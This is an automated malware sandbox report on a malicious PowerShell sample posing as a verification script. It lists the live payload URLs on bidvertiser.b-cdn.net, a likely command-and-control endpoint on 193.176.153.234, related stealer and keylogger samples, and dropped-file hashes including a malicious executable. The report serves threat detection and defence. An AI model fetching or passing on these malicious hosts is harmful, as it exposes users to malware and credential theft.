https://bidvertiser.b-cdn.net/smart1.zip	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://bidvertiser.b-cdn.net/smart1	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.176.153.234/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bidvertiser.b-cdn.net/F	mshta.exe, 00000003.00000003.2366441304.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369689923.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358841397.0000022F67131000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1H	mshta.exe, 00000003.00000002.2369149756.0000022F67060000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1.zipp	powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net	powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.176.153.234/:	BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bidvertiser.b-cdn.net/smart1C:	mshta.exe, 00000003.00000003.2366441304.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369689923.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358841397.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369176557.0000022F67070000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.176.153.234/587ec30955d49a9c.phpD	BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1D	mshta.exe, 00000003.00000002.2369176557.0000022F67077000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1I9	mshta.exe, 00000003.00000002.2369290267.0000022F670B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367255449.0000022F670B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000004.00000002.2966543724.00000209D8600000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.4.dr	false	URL Reputation: safe	unknown
https://aka.ms/pscore6	powershell.exe, 00000000.00000002.1728419864.000001E7E1683000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bidvertiser.b-cdn.net/smart1...r#	mshta.exe, 00000003.00000003.2366620634.0000023769CA5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2370751127.0000023769CA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1_BROWSER_APP_B	mshta.exe, 00000003.00000002.2369835096.0000022F67400000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1922955102.000001EC25BE9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1U	mshta.exe, 00000003.00000002.2371901544.000002376E1A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1entV	mshta.exe, 00000003.00000002.2369176557.0000022F67098000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1c9x	mshta.exe, 00000003.00000002.2369290267.0000022F670B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367255449.0000022F670B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.153.234/587ec30955d49a9c.php/	BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1(i	mshta.exe, 00000003.00000002.2369326741.0000022F670CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.4.dr	false	URL Reputation: safe	unknown
https://protobuf.dev/reference/go/faq#namespace-conflictduration	0SmartAssem.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1https://bidvertiser.b-cdn.net/smart1	mshta.exe, 00000003.00000003.2365006534.000002376D0B5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.153.234/587ec30955d49a9c.phpl	BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1m	mshta.exe, 00000003.00000002.2369326741.0000022F670E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.4.dr	false	URL Reputation: safe	unknown
https://bidvertiser.b-cdn.net/h#	mshta.exe, 00000003.00000003.2358841397.0000022F6711B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369402329.0000022F6711B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.153.234/587ec30955d49a9c.php0	BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.153.2348:	BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000004.00000003.1732947947.00000209D8422000.00000004.00000800.00020000.00000000.sdmp, edb.log.4.dr	false	URL Reputation: safe	unknown
http://193.176.153.234	BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bidvertiser.b-cdn.net/smart1...	mshta.exe, 00000003.00000003.2366441304.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2369689923.0000022F67131000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358841397.0000022F67131000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://bidvertiser.b-cdn.net/smart1:asLMEMPx	mshta.exe, 00000003.00000002.2371500355.000002376BE90000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366801672.000002376BE8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.153.234/X	BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.virtualbox.org/	VBoxVMM.dll.5.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1728419864.000001E7E169E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1723184426.00000222DA691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1723184426.00000222DA6AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1922955102.000001EC259C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bidvertiser.b-cdn.net/smart1OOC:	mshta.exe, 00000003.00000002.2369290267.0000022F670B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367255449.0000022F670B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1728419864.000001E7E16CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1723184426.00000222DA691000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1922955102.000001EC259C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bidvertiser.b-cdn.net/smart10	mshta.exe, 00000003.00000002.2369326741.0000022F670CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358601385.0000022F670CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000004.00000003.1732947947.00000209D8422000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	false	URL Reputation: safe	unknown
http://193.176.153.234;	BitLockerToGo.exe, 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.153.234/587ec30955d49a9c.phpx	BitLockerToGo.exe, 0000000B.00000002.2079531848.0000000003300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.176.153.234	unknown	unknown		207451	AGROSVITUA	true
185.93.1.250	bidvertiser.b-cdn.net	Czech Republic		60068	CDN77GB	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1491044
Start date and time:	2024-08-10 19:09:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	verification.b-cdn.net.ps1
Detection:	MAL
Classification:	mal100.troj.evad.winPS1@14/24@1/3
EGA Information:	Successful, ratio: 20%
HCA Information:	Successful, ratio: 72% Number of executed functions: 20 Number of non-executed functions: 18
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0SmartAssem.exe, PID 7716 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 7172 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 4108 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7100 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:10:01	API Interceptor	2x Sleep call for process: svchost.exe modified
13:10:03	API Interceptor	1x Sleep call for process: mshta.exe modified
13:10:03	API Interceptor	42x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.93.1.250	SecuriteInfo.com.not-a-virus.HEUR.Server-Proxy.MSIL.Agentb.gen.14618.27578.exe	Get hash	malicious	Unknown	Browse
	http://www.madrasaenajah.com/lob-yhIe~Mf/C/	Get hash	malicious	Phisher	Browse
	https://file.io/DEhOHv7umoCj	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.not-a-virus.HEUR.Server-Proxy.MSIL.Luminati.gen.21829.28282.exe	Get hash	malicious	Unknown	Browse
	https://kangbinkwon.github.io/kangbinkwon-Netflix_clonecoding/	Get hash	malicious	Unknown	Browse
	https://llink.to/?u=https://www.theschooloflife.com/about-us/privacy-policy/&e=960e1a6fe5dc4bd580794d1cca87f46c	Get hash	malicious	Unknown	Browse
	https://sports.zaly.online/57724/	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CDN77GB	http://bqrsy.seekinvest.co/4xnSRn15308idbK1376jqowxkjgss14745HXOATNJZKAZVKSP98PXJV17762C16#8gfe0i2lkfqxzo4xifhbmdsxykiibapo1vlzxy35431iw10ly9	Get hash	malicious	Unknown	Browse	195.181.170.18
	http://clone-netflix.netlify.app/	Get hash	malicious	Unknown	Browse	89.187.169.47
	verify-captcha-987.b-cdn.net.ps1	Get hash	malicious	Clipboard Hijacker	Browse	89.187.169.39
	verifyhuman476.b-cdn.net.ps1	Get hash	malicious	Clipboard Hijacker	Browse	89.187.169.47
	https://events.csiro.au/sitecore/RedirectUrlPage.aspx?ec_contact_id=1DA68C6AF536E76F6A42373E99CB368C&ec_message_id=7AB222E9302B4AB8A943E9FD7AAE1DF3&ec_url=https://hr.economictimes.indiatimes.com/etl.php?url=electraconsultants.com/redirecting?maddie.capes@msdmining.com.au	Get hash	malicious	HTMLPhisher	Browse	212.102.56.178
	http://cloudflare-ipfs.com/ipfs/bafkreifpoyvrphoiovn7hewptqfnvnciosy5ynzqpghzcad46hweedcpha	Get hash	malicious	HTMLPhisher	Browse	185.93.3.244
	https://ipfs.io/ipfs/bafkreifpoyvrphoiovn7hewptqfnvnciosy5ynzqpghzcad46hweedcpha	Get hash	malicious	HTMLPhisher	Browse	185.93.3.244
	https://ipfs.io/ipfs/bafkreigdmr3dab6hifnupc5d7wrdkfq7d2gjgmuhewowmlyufosov6ufge	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	185.93.3.244
	https://ipfs.io/ipfs/bafkreifgljb5374su6q4pksdcbdzdpzx225u5zz2gtdbfcr2ltwedn5t5i	Get hash	malicious	HTMLPhisher	Browse	185.93.3.244
	https://ipfs.io/ipfs/bafkreidlod2sf2qbeojthpzmf5gwqoobb7cnvdzcjrrzlcamwvyml57gry#electronics@victrex.com	Get hash	malicious	Unknown	Browse	185.93.3.244
AGROSVITUA	https://storage.googleapis.com/3ee33d379fb68c2e6e88/3633420a894acb1dc7559f656#cl/0_smt/10/3617893/3293/0/0	Get hash	malicious	Phisher	Browse	185.66.88.175
	https://sdfsd.s3.bhs.cloud.ovh.net/v1/AUTH_8749f4abd4b14c57a9f85d6e4378c063/dsfdf/gfhfgh#cl/298587_smd/265/3571761/3180/201/26638	Get hash	malicious	Phisher	Browse	185.66.88.174
	3Ja0hSOMSI.exe	Get hash	malicious	Amadey	Browse	193.176.158.193
	https://click.pstmrk.it/3s/bfsdqbhdfqsbhdf.blogspot.com%2F/lvid/EsqzAQ/AQ/3d6bdb2c-8ba6-4238-a213-e9cee32f03d6/2/EhSnAlFZDV#cl/210168_smd/274/3553163/3122/3317/328533	Get hash	malicious	Unknown	Browse	185.66.89.110
	etk0z46vrL.exe	Get hash	malicious	Stealc, Vidar	Browse	194.120.116.120
	http://environnement.mooo.com	Get hash	malicious	Unknown	Browse	193.176.158.199
	https://neon.ly/c2df7a96-7e7b-434f-8fbd-e7d0667e7df5#cl/4534_md/1110/5173/689/14/544786	Get hash	malicious	Phisher	Browse	193.176.190.137
	#U041d#U0430#U043a#U043b#U0430#U0434#U043d#U0430#U044f_#U211614-1839-7112.exe	Get hash	malicious	DarkWatchman	Browse	193.176.158.127
	#U0410#U043a#U0442_#U0441#U0432#U0435#U0440#U043a#U0438_#U2116534-23_#U043e#U0442_29.09.2023.exe	Get hash	malicious	DarkWatchman	Browse	193.176.158.127
	Nuovo pagamento.exe	Get hash	malicious	AgentTesla	Browse	185.66.88.198

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	SolaraBootstrapper.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	ExReporterFIX.exe	Get hash	malicious	XWorm	Browse	185.93.1.250
	SecuriteInfo.com.BackDoor.AgentTeslaNET.12.6450.17799.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.93.1.250
	IMPORT PO2024-0961 ASTG.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.93.1.250
	devil.vbe	Get hash	malicious	AgentTesla	Browse	185.93.1.250
	ndGmwWXGOn.hta	Get hash	malicious	Cobalt Strike, GuLoader, Remcos	Browse	185.93.1.250
	QUOTATION_AUGQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.93.1.250
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.93.1.250
37f463bf4616ecd445d4a1937da06e19	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.93.1.250
	FBS2024000000392.docx.doc	Get hash	malicious	Unknown	Browse	185.93.1.250
	ndGmwWXGOn.hta	Get hash	malicious	Cobalt Strike, GuLoader, Remcos	Browse	185.93.1.250
	file.exe	Get hash	malicious	Amadey, SystemBC	Browse	185.93.1.250
	file.exe	Get hash	malicious	DarkTortilla, Neoreklami	Browse	185.93.1.250
	sahost.exe	Get hash	malicious	GuLoader	Browse	185.93.1.250
	IEexplore.hta	Get hash	malicious	Cobalt Strike, GuLoader	Browse	185.93.1.250
	SecuriteInfo.com.Win32.MalwareX-gen.27910.19137.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	SecuriteInfo.com.Win32.MalwareX-gen.27910.19137.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	file.exe	Get hash	malicious	Vidar	Browse	185.93.1.250

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073508452922409
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrz:KooCEYhgYEL0In
MD5:	14CEA15C79CCB7BBDB86ACE5814A0C80
SHA1:	53073B1A2D8A28AA7B443CC63AD3465308A8120E
SHA-256:	14B2FF087733B3AEE35CCAB7A2D2B4E593C41D31AC14265E656B524CC0A9E807
SHA-512:	E680032AF8C6CAD1F1DDE1E15DB6BBD01F136062A181CB6487934BF9003BC169DC8975CD07BF7D70AAD5003E9BA1E319DD494C81825B7E3550DD11DD3B26A9E9
Malicious:	false
Reputation:	low
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3e63031f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213050659793255
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Jaza/vMUM2Uvz7DO
MD5:	2F0E30157F4EE7EE6015799EB8C46DE1
SHA1:	8AB06DB6AC4611FB15492A0B0AB5B7605D080FF0
SHA-256:	BAA6E84FC046F1EF49B0A51F4E2C2C34D74CD055F4CD1601854039FE9B675A71
SHA-512:	24524DA59B7F69CA3F3FABB2D5747575DD50DBE3D0C6468A2F860DF2F67FEC9EE029DAEFA48AA8FCC2C8A26C1721D0C47893C04954235EA4CD3A8283AB10CB9F
Malicious:	false
Reputation:	low
Preview:	>c..... .......A.......X\...;...{......................0.!..........{A......\|k.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................$.p.....\|k....................z.....\|k..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0764421126838834
Encrypted:	false
SSDEEP:	3:ZYeTAxjn13a/Qs1i1ollcVO/lnlZMxZNQl:ZzTAx53qtOewk
MD5:	78AD9E1A5EB1270AD5124127BE2AE718
SHA1:	CF4DB485A160B601AFAA37BA9DC270E1EE2B44C0
SHA-256:	EA988054D76E1B3E3416033ED529D135DA380D68146246C22DB216323CB6C86B
SHA-512:	541D8AC240003AFBCED101164D6ECD046462889D32125C318C3A35C061E6B5F7B1B2A6FBBCB13130EAE3FF245F79EA163BA8C64C397C52F90CD54E400CE585BE
Malicious:	false
Reputation:	low
Preview:	..?x.....................................;...{.......\|k......{A..............{A......{A..........{A]...................z.....\|k.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	166102
Entropy (8bit):	6.058603966920187
Encrypted:	false
SSDEEP:	3072:088nbom5xIAb88nbom5xIAwBo88nbom5xIAX88nbom5xIA:ByxH6yxHgyxHOyxH
MD5:	D1FE96463BB2DB299645B3C39176D006
SHA1:	D6A2C8367815CC28A5C16C7953AAB1CE91AA1764
SHA-256:	760B5E6A856D503C20D46F910A2405F51944AFEF16479EBC0174EB213C2C0132
SHA-512:	A8BA1F4EB87C4D27FC7F4C7D14D1A1FCF51B8C8155DEC4D961659D519BF21CBA4A8873D002EB482E962B5E1E9BAD46344B31480EB593D5CB7809E88EB1E1461E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39% Antivirus: Virustotal, Detection: 28%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WV...7p..7p..7p..Eu..7p..Es..7p..Et..7p..Eq..7p..7q..7p..Ex..7p..E...7p..Er..7p.Rich.7p.................PE..L...G....................R...8.......X.......p....@.................................."....@...... .......................... ...........................................T............................................................................text....Q.......R.................. ..`.data........p.......V..............@....idata...............X..............@..@.rsrc................f..............@..@.reloc...............x..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1472
Entropy (8bit):	5.2923509440931396
Encrypted:	false
SSDEEP:	24:3NISKco4KmM6GjKbm51s4RPTu1oGoUP7m9qr9t7J0gt/NKmNUNlr8Hv9ILAle:GSU4YymI4RCaGoUP7m9qr9tK8NfUNl4G
MD5:	C980FB559BEDEEAC21332966C8495031
SHA1:	6B117442E20BA2666243110EEC882CC7F7BECA7D
SHA-256:	A1B4FA49055EC744BC911CF00C1D0C56679FA38601D95269404A610C26DBC969
SHA-512:	F68C206376A9E056D1C38CC0AE2DCFB89F85302A4AF2A151A15353C94CE06C151F981EB22C65A0B61AAB8D14412354A784D352E0EDC825C70E4D31E8F04E1BFC
Malicious:	false
Preview:	@...e...........+...............................................@...............\|.jdY\.H.s9.!..\|).......System.IO.Compression...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.4.................0..~.J.R...L........System.Data.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0il2ydi0.us5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0imofb0y.tcb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3501zbvn.dry.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aa03krre.ova.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
